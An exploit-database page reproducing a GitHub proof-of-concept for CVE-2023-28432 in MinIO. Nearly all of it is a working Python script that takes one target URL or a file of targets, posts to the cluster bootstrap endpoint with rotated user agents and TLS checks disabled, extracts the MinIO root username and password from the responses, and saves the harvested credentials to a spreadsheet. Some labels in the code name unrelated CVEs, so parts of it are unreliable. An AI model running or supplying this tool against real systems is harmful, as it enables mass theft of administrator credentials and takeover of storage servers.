Exploit database

GH-56461265bf896a0e01a4594f20e10dca

ytxzx/cve-2023-28432

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-28432

23 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
ytxzx/cve-2023-28432Revision 652632201623

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-28432.py

Python · 4,459 bytes
import argparse
import os
import random
import re
import time
from datetime import date
import requests
import xlsxwriter
from alive_progress import alive_bar

def banners():
    print('''
  _____   _____   ___ __ ___ ____   ___ ___ _ _ _______ 
 / __\ \ / / __|_|_  )  \_  )__ /__|_  | _ ) | |__ /_  )
| (__ \ V /| _|___/ / () / / |_ \___/ // _ \_  _|_ \/ / 
 \___| \_/ |___| /___\__/___|___/  /___\___/ |_|___/___|
    ''')
    print("Made by : yT")

def openFile(file):    # 批量处理漏洞地址
    with open(file, 'r') as file:
        lines = file.readlines()
    with alive_bar(len(lines), enrich_print=False) as bar:
        if len(lines) != 0:
            for i in lines:
                i = i.rstrip('\n')
                getHtmlResult(i)
                bar()
        else:
            print('空文件')

def createXlsx():
    nowTime = time.strftime("%Y%m%d%H%M%S", time.localtime())
    filename_xls = nowTime + '.xlsx'
    outXls(filename_xls)

def outXls(filename_xls):
    with xlsxwriter.Workbook(filename_xls) as workbook:
        worksheet = workbook.add_worksheet('CVE-2022-26134')
        bold = workbook.add_format({"bold":True,"valign":"center"})
        worksheet.set_column('A:A', 30)
        worksheet.set_column('B:B', 30)
        worksheet.set_column('C:C', 30)
        worksheet.write('A1', 'url', bold)
        worksheet.write('B1', 'MINIO_ROOT_PASSWORD', bold)
        worksheet.write('C1', 'MINIO_ROOT_USER', bold)
        lens = len(date) / 3
        num = 0
        for row in range(int(lens)):
            row = row + 1
            col = 0
            for i in range(len(date)):
                worksheet.write(row, col, date[num])
                col = col + 1
                num = num + 1
                if col % 3 == 0:
                    break
    print('ouput path:')
    path_xls = os.path.join(os.getcwd(), filename_xls)
    print("结果文件输出路径为:{0}".format(path_xls))

def getHtmlResult(url):
    user_agents = [
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
        '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 '
        '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 '
        '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/68.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) '
        'Gecko/20100101 Firefox/68.0',
        'Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/68.0']
    head = {
        "User-Agent": random.choice(user_agents)
    }
    options = ('/minio/bootstrap/v1/verify')
    full_url = url + options
    try:
        requests.packages.urllib3.disable_warnings()
        result = requests.post(full_url, headers=head, timeout=10, verify=False)  # allow_redirects=False禁止自动跳转302,verify=False解决https连接报错
        getAttackResult(result.text, url)
    except:
        return None

def getAttackResult(responseText, url):
    if 'MINIO_ROOT_PASSWORD' in responseText:
        MINIO_ROOT_PASSWORD = re.findall('"MINIO_ROOT_PASSWORD":"(.*?)"', responseText)
        MINIO_ROOT_USER = re.findall('"MINIO_ROOT_USER":"(.*?)"', responseText)
        print("\n")
        print("[*]{0}:Successful".format(url))
        print("[+]MINIO_ROOT_PASSWORD   : " + ''.join(MINIO_ROOT_PASSWORD))
        print("[+]MINIO_ROOT_USER       : " + ''.join(MINIO_ROOT_USER))
        if file:
            date.append(url)
            date.append(''.join(MINIO_ROOT_PASSWORD))
            date.append(''.join(MINIO_ROOT_USER))
    else:
        if file:
            return None
        else:
            print("[-]{0}:Failed".format(url))

if __name__ == "__main__":
    banners()
    parser = argparse.ArgumentParser(description="CVE-2023-23752 --by yT")
    target = parser.add_argument_group('Target')
    target.add_argument('-u',dest='url',type=str,help="Input your url target")
    target.add_argument('-f',dest='file',type=str,help="Input your target's file")
    args = parser.parse_args()
    url = args.url
    file = args.file
    if url:
        getHtmlResult(url)
    if file:
        date = []
        openFile(file)
        createXlsx()